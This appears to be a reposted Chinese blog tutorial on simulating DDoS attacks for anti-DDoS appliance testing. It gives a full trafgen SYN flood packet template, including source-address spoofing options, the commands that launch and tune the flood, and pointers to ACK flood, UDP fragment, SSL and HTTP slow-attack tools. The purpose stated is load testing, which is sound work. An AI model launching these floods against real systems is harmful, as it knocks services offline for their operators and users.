synflood 模擬工具


synflood 模擬工具

來源 https://blog.csdn.net/wuzhimang/article/details/54581117

因項目需要,要對主流的幾家抗DDoS設備做測評,當然了最專業的是使用Spirent TestCenter,但受限於其他因素,最終決定搭建一個軟件環境來進行相關的DDoS測試。

本文主要講解的是如何使用trafgen工具發起DDoS攻擊(syn flood, ack flood等等)

synflood攻擊、ackflood攻擊、UDP fragment攻擊的詳細配置文件見 github ddos-dos-tools

工具選擇

  1. 開源的流量生成工具很多,可用於模擬DoS攻擊的工具也不在少數,如hping、scapy(python庫)等等,但均存在着不足,如性能不夠,不能模擬DDoS攻擊(攻擊流IP和PORT不能動態變化)
  2. 通過詳細的對比測試(同hping、scapy、LOIC等對比測試,具體數據不宜公開),最后統一選擇了netsniff-ng套件中的trafgen攻擊,其在測試環境中可達到24萬pps的SYNFLOOD攻擊,是一款高速、多線程網絡數據包生成工具
  3. trafgen 工具能夠動態生成攻擊IP和端口號,能夠通過配置文件動態修改攻擊包的內容

簡單使用

1. 安裝

trafgen屬於netsniff-ng套件,是一款linux下的工具,安裝很方便,通過系統的在線安裝工具即可完成安裝,如centos下yum install netsniff-ng即可

2. 使用(SYN Flood攻擊)

  1. 工具的比較簡單,主要是配置文件的編寫,假設已經寫好了一個synflood配置文件

    • 鍵入命令trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose即可發起攻擊
    • 進一步的還可通過trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --gap 1000 (以毫秒為單位)來調節速度
    • 進一步的還可通過trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --kernel-pull 20 (默認10us)來調節速度
    • 詳細的可以man trafgen
  2. 配置文件解讀(以synflood.trafgen文件為例)

    • synflood.trafgen 模版,trafgen就是通過該文件來生成特定的數據包的!看配置文件的注釋基本能清除如何修改
/* TCP SYN attack ( 64byte ) * Command example: * trafgen --cpp --dev em2 --conf synflood.trafgen --verbose * Note: dynamic elements "drnd()" make trafgen slower */ #define ETH_P_IP 0x0800 #define SYN (1 << 1) #define ACK (1 << 4) #define ECN (1 << 6) { /* --- Ethernet Header --- */ /* NEED ADJUST */ // 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination // 0x00, 0x12, 0xc0, drnd(3), # MAC Source 0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination 0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source const16(ETH_P_IP), /* IPv4 Version, IHL, TOS */ 0b01000101, 0, /* IPv4 Total Len */ const16(46), /* IPv4 Ident */ drnd(2), //const16(2), /* IPv4 Flags, Frag Off */ 0b01000000, 0, /* IPv4 TTL */ 64, /* Proto TCP */ 0x06, /* IPv4 Checksum (IP header from, to) */ csumip(14, 33), /* NEED ADJUST */ // 10, 10, 88, drnd(1), # Source IP 10, 10, 88, 173, # Source IP 10, 10, 88, 172, # Dest IP /* TCP Source Port */ drnd(2), /* TCP Dest Port */ const16(80), /* TCP Sequence Number */ drnd(4), /* TCP Ackn. Number */ const32(0), /* NOTICE ACK==zero with SYN packets */ /* TCP Header length + Flags */ //const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */ //const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */ const16((0x5 << 12) | SYN) /* TCP SYN Flag */ //const16((0x5 << 12) | ACK) /* TCP ACK Flag */ /* Window Size */ const16(16), /* TCP Checksum (offset IP, offset TCP) */ csumtcp(14, 34), const16(0), /*PAD*/ /* Data */ "SYNswf" }

 

  • 配置文件可通過drnd()函數來實現對應內容的動態生成,如IP、MAC地址等,但是會影響性能

image_1b6bf8ooa3im1ioc1kc7aeu1qo89.png-6kB

  • 修改MAC地址(攻擊/被攻擊MAC地址)

image_1b6bfeukr5m628h14ciupq1tnnm.png-11.8kB

  • 修改IP地址和攻擊協議及端口號,const16()將對應的十進制數轉換成一個16位的二進制數

image_1b6bftaek14a4il1fp5l3dr5213.png-15kB

  • 修改位SYN標志(根據情況也可修改為其他的)

image_1b6bfv9751ojs1g6klulc4jaak1g.png-11.6kB

3. ACKFlood 攻擊

4. UDP fragment 攻擊

5. 退出命令

統一退出命令pgrep trafgen | xargs kill -s 9

其他

    1. 在trafgen性能仍達不到要求的情況下,可通過netsniff-ng攻擊進行流量回放,如下 
      • 先捕獲synfloog攻擊數據包 
        netsniff-ng --in ens33 --out synflood.pcap --silent --verbose --filter 'ether src 00:50:56:ab:a5:3f' 
        trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
      • 再重放synflood攻擊數據包 
        netsniff-ng --in synflood.pcap --out ens33 --silent --prio-high --verbose
    2. 在用trafgen進行實時流量生成或者netsniff-ng重放時,還可通過工具tc進行流量控制,具體請見“linux流量控制工具tc一文,簡單舉例如下 
      image_1b6bgp1mntnf15a61bppjvs1f7a1t.png-15.8kB

 

DDos/DoS工具集(持續更新)

來源 http://codeshold.me/2017/01/ddos_tools_set.html

項目中,需要幫助某公司完成對幾台抗DDoS設備的測試,受限於各類因素,只能通過搭建軟件環境來完成測評。下面是針對自己前期工作的一小部分整理,僅羅列了基於開源工具的一些內容,其他定制化的和自己編寫的程序則未公開。hping、LOIC等其他工具,由於性能和其它原因也未被使用!

github ddos-dos-tools

1. SynFlood 攻擊

借助netsniff-ng套件中的trafgen工具,其可偽造源ip發起DDoS攻擊

  • trafgen是一款高速的,多線程數據包生成器,官方測試顯示其速度可達到12Mpps,自己在Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz下測得的發包速率有500Mbit/s多。通過對比其他開源程序,本工具的發包性能是自己測試中性能表現最高的。
  • synflood.trafgen是對應的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接運行trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose即可發起synflood攻擊
  • 通過添加trafgen命令行參數--gap修改發包的速率,具體請man trafgen
  • 對應工具可直接通過在線源進行安裝,CentOS下yum install netsniff-ng即可安裝整個套件,其中包含trafgen等工具。(預先可能需安裝fedora源,yum install epel-release.noarch -y

2. AckFlood 攻擊

同SynFlood類似

  • ackflood.trafgen是對應的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接運行trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose即可發起ackflood攻擊

3. SSL 攻擊

  • thc-ssl-dos是一款有名的ssl攻擊程序,原理是ssl重新協商機制,但對於關閉了的或不支持SSL重協商的服務端,該工具將失效。
  • ssl-dos.sh是自己寫的一個簡單的ssl攻擊腳本,且適用於不支持ssl重協商的服務端,該腳本借助的是openssl工具。

4. HTTP GET 攻擊

  • http-get-dos是一個簡單的、高性能HTTP GET DOS工具,可自定義HTTP請求頭、連接數、總的HTTP請求數等
  • 進入目錄下make編譯后,http-get-dos -h 查看使用信息

5. HTTP 慢速攻擊

  • pyloris是一款開源的HTTP慢速DOS攻擊軟件,本版本為3.2版本,詳情見主頁,含圖形界面,使用很方便

6. UDP fragment 攻擊

同SynFlood類似

  • small_frag.trafgen是對應的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接運行trafgen --cpp --dev eth0 --conf small_frag.trafgen --cpu 2 --verbose即可發起UDP fragment DoS attack攻擊

100. 貼一張部分圖,自己看

image_1b6bi70qv14e3j3geb1ipeeib9.png-22.1kB

 

========================

1. 使用 trafgen 進行 synflood 發包攻擊:

 

2. 查看當前網卡的發包速率:

 

=========== End

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM